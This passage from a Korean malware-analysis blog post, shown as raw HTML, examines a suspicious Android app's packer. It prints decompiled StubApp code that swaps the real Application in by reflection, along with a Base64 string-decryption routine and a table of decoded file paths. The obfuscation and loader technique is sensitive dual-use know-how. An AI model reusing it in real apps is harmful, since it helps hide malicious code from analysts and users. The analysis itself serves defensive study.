&lt;td style=&quot;text-align: center;&quot; width=&quot;253&quot;&gt;&lt;span&gt;&lt;span&gt;bfaefadc.jcedeaed.bhcfhaie.MainActivity&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;286&quot;&gt;&lt;span&gt;&lt;span&gt;앱 메인 화면&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;118&quot;&gt;&lt;span&gt;&lt;span&gt;메인 액티비티&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span&gt;5.2.1. 기타 컴포넌트&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;서비스(Service)나 리시버(Receiver) 등 기타 선언된 컴포넌트는 존재하지 않음을 분석하였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-style=&quot;style3&quot; data-ke-type=&quot;horizontalRule&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;5.2 동적 분석&lt;/span&gt;&lt;/h3&gt;
&lt;h4 style=&quot;color: #000000;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span&gt;5.2.1. 사용자 직접 실행&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;대상&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;앱의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;동적&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;분석&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;과정에서&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;사용자에&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;의한&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;직접&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;실행을&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;기반으로&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;하는&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;앱의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;동작을&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;분석한다&lt;/span&gt;&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;앱이&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;사용자의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;실행으로&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;어떻게&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;구동되고&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;사용자와&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;상호작용에&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;반응하는지&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;분석한다&lt;/span&gt;&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;분석의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;시작점은&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;사용자가&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;앱을&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;실행하는&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;순간으로&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;설정한다&lt;/span&gt;&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;앱의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;초기&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;로딩&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;권한&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;요청&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;주요&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;기능&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;실행&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;등을&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;어떻게&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;처리하는지&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;분석한다&lt;/span&gt;&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;앱의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;실행&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;흐름을&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;따라가면서&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;네트워크&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;통신&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;저장&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;및&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;처리&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;등&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;앱의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;핵심&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;동작을&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;실시간으로&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;모니터링한다&lt;/span&gt;&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;특히&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;의심스러운&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;네트워크&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;활동&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;민감한&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;정보의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;무단&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;수집&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;및&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;전송&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;비정상적&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;시스템&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;자원&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;사용&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;등의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;행위를&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;식별한다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;앱의 시작 지점인 메인 액티비티의 onCreate() 콜백 함수부터 분석하였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1731510512406&quot; style=&quot;background-color: #f8f8f8; color: #383a42;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;kotlin&quot;&gt;&lt;code&gt;@Override  // android.app.Application
    public void onCreate() {
        super.onCreate();
        StubApp.m(this);
        StubApp.c = StubApp.d;
        this.k();
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;StubApp 클래스의 m() 메소드를 호출하므로 이 함수를 분석한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1731510512407&quot; style=&quot;background-color: #f8f8f8; color: #383a42;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;kotlin&quot;&gt;&lt;code&gt;    public static void m(Application application0) {
        String s = StubApp.efahfbbc(&quot;w7phxJXDvGXEg2FuZHJvaWQuYXBwLkxvYWRlZEFwa8O8ZcSDx5pixIE=&quot;);
        String s1 = StubApp.efahfbbc(&quot;Y8O8xIPDvGXEg2FuZHJvaWQuYXBwLkFjdGl2aXR5VGhyZWFkw7xlxIPDuu6fiMSD&quot;);
        Application application1 = StubApp.d;
        if(application1 != null &amp;amp;&amp;amp; !StubApp.efahfbbc(&quot;YceaxIXDvGXEg2NvbS5zdHViLlN0dWJBcHDDvGXEg2TFq8SF&quot;).equals(application1.getClass().getName())) {
            try {
                Context context0 = application0.getBaseContext();
                StubApp.l(context0.getClass(), context0, new Object[]{StubApp.d}, StubApp.efahfbbc(&quot;ZWPEh8O8ZcSDc2V0T3V0ZXJDb250ZXh0w7xlxINh7p+IxIc=&quot;), new Class[]{Context.class});
                Object object0 = StubApp.g(context0.getClass(), context0, StubApp.efahfbbc(&quot;w7zFq8SJw7xlxINtTWFpblRocmVhZMO8ZcSDx5TDvMSJ&quot;));
                StubApp.p(s1, object0, StubApp.efahfbbc(&quot;ZMO5xIvDvGXEg21Jbml0aWFsQXBwbGljYXRpb27DvGXEg2bHmsSL&quot;), StubApp.d);
                ArrayList arrayList0 = (ArrayList)StubApp.h(s1, object0, StubApp.efahfbbc(&quot;x5RixI3DvGXEg21BbGxBcHBsaWNhdGlvbnPDvGXEg8ec7p+IxI0=&quot;));
                arrayList0.add(StubApp.d);
                arrayList0.remove(application0);
                Object object1 = StubApp.g(context0.getClass(), context0, StubApp.efahfbbc(&quot;YWXEj8O8ZcSDbVBhY2thZ2VJbmZvw7xlxIPHnMecxI8=&quot;));
                StubApp.p(s, object1, StubApp.efahfbbc(&quot;Y8O6xJHDvGXEg21BcHBsaWNhdGlvbsO8ZcSDx5rHmsSR&quot;), StubApp.d);
                ApplicationInfo applicationInfo0 = (ApplicationInfo)StubApp.h(s, object1, StubApp.efahfbbc(&quot;ZsWrxJPDvGXEg21BcHBsaWNhdGlvbkluZm/DvGXEg8O57p+IxJM=&quot;));
                applicationInfo0.className = StubApp.d.getClass().getName();
                StubApp.d.onCreate();
            }
            catch(Exception exception0) {
                exception0.printStackTrace();
            }
            return;
        }
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;난독화된 많은 문자열을 확인할 수 있다. 정적 분석 시 악성행위를 하는 문자열의 식별으 어렵게 하고 분석 시간을 오래 소요하는 데 목적이 있다. 그러나 난독화된 문자열을 복호화하는 함수(efahfbbc())가 동일 클래스 내 선언되어 있음을 확인한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1731510512408&quot; style=&quot;background-color: #f8f8f8; color: #383a42;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;kotlin&quot;&gt;&lt;code&gt;public static String efahfbbc(String s) {
        try {
            return new String(Base64.decode(s, 0)).split(&quot;&amp;uuml;eă&quot;)[1].replace(&quot;\\\'&quot;, &quot;\'&quot;);
        }
        catch(Exception exception0) {
            return s;
        }
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;&lt;i&gt;복호화 함수 코드&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;복호화&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;함수&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;분석&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;결과&lt;/span&gt;&lt;span&gt;, &amp;lsquo;efahfbbc&amp;rsquo;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;함수의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;인자로&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;전달된&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;문자열을&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Base64&lt;/span&gt;&lt;span&gt;로&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;디코딩하고&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;특정&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;구분자&lt;/span&gt;&lt;span&gt;(&amp;ldquo;&amp;uuml;eă&amp;rdquo;)&lt;/span&gt;&lt;span&gt;로&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;분할하고&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;두&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;번째&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;문자열을&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;반환한다&lt;/span&gt;&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;문자열&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;예시와&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;반환결과는&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;다음과&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;같다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&quot;w7rDvMSRw7xlxIMuamlhZ3XDvGXEg8ecZcSR&quot; -&amp;gt; &quot;&amp;uuml;eădecoded string&amp;uuml;eăpart1&quot;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;1.&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;&amp;uuml;eă&quot;&lt;/span&gt;&lt;span&gt;로&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;분할&lt;/span&gt;&lt;span&gt;: [&quot;&quot;, &quot;decoded string&quot;, &quot;part1&quot;]&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;2.&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;[1]&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;선택&lt;/span&gt;&lt;span&gt;: &quot;decoded string&quot;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;3.&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;'&quot;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;치환&lt;/span&gt;&lt;span&gt;: &quot;decoded string&quot; (&lt;/span&gt;&lt;span&gt;치환할&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;내용이&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;없으므로&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;변경&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;없음&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;따라서&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;난독화된&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;문자열을&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;복호화한&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;결과는&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;ldquo;decoded string&amp;rdquo;&lt;/span&gt;&lt;span&gt;이다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;이외에도 문자열이 많은데 GPT에게 암호화된 문자열과 복호화 함수 코드를 제공하여 복호화를 요청한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;445&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span&gt;난독화 문자열&lt;span&gt;(&lt;/span&gt;분석 전&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;212&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span&gt;복호화 문자열&lt;span&gt;(&lt;/span&gt;분석 후&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #dfdfdf;&quot; width=&quot;445&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Y8eaxJPDvGXEgy8uamlhZ3Uvc3VjY2Vzcy5mbGFnw7xlxIPDvMeaxJM=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dfdfdf;&quot; width=&quot;212&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;absolute/path/success.flag&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;445&quot;&gt;&lt;span&gt;&lt;span&gt;w7rHmsSFw7xlxIMuamlhZ3XDvGXEg2JmxIU=&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;212&quot;&gt;&lt;span&gt;&lt;span&gt;another/part&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #dfdfdf;&quot; width=&quot;445&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;YcO6xIfDvGXEgy8uamlhZ3UvbGliamlhZ3XDvGXEg2bHmsSH&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dfdfdf;&quot; width=&quot;212&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;absolute/path/libnative.so&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;445&quot;&gt;&lt;span&gt;&lt;span&gt;Y8eUxIvDvGXEgy8uamlhZ3UvdHJ5LmZsYWfDvGXEg8WrZMSL&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;212&quot;&gt;&lt;span&gt;&lt;span&gt;absolute/path/try.flag&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #dfdfdf;&quot; width=&quot;445&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;YcO6xInDvGXEgy8uamlhZ3Uvc3VjY2Vzcy5mbGFnw7xlxINlx5bEiQ==&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dfdfdf;&quot; width=&quot;212&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;absolute/path/success.flag&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;문자열&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;lsquo;s&amp;rsquo;&lt;/span&gt;&lt;span&gt;와&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;lsquo;s1&amp;rsquo;&lt;/span&gt;&lt;span&gt;에&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;할당된&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;문자열은&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;lsquo;Stub.efahfbbc&amp;rsquo;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;함수를&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;통해&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Base64&lt;/span&gt;&lt;span&gt;로&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;디코딩된다&lt;/span&gt;&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;디코딩&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;결과는&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;각각&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;lsquo;android.app.LoadedApk&amp;rsquo;, &amp;lsquo;android.app.ActivityThread&amp;rsquo;&lt;/span&gt;&lt;span&gt;이다&lt;/span&gt;&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;앱이&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;정상&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;실행&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;중인&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;경우&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;if&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;조건&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;절을&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;만족하므로&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;조건절&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;내부가&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;실행된다&lt;/span&gt;&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;여러&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;메서드를&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;호출하여&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;컨텍스트를&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;가져오고&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;리플렉션을&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;통해&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;클래스와&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;메서드에&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;접근한다&lt;/span&gt;&lt;span&gt;.&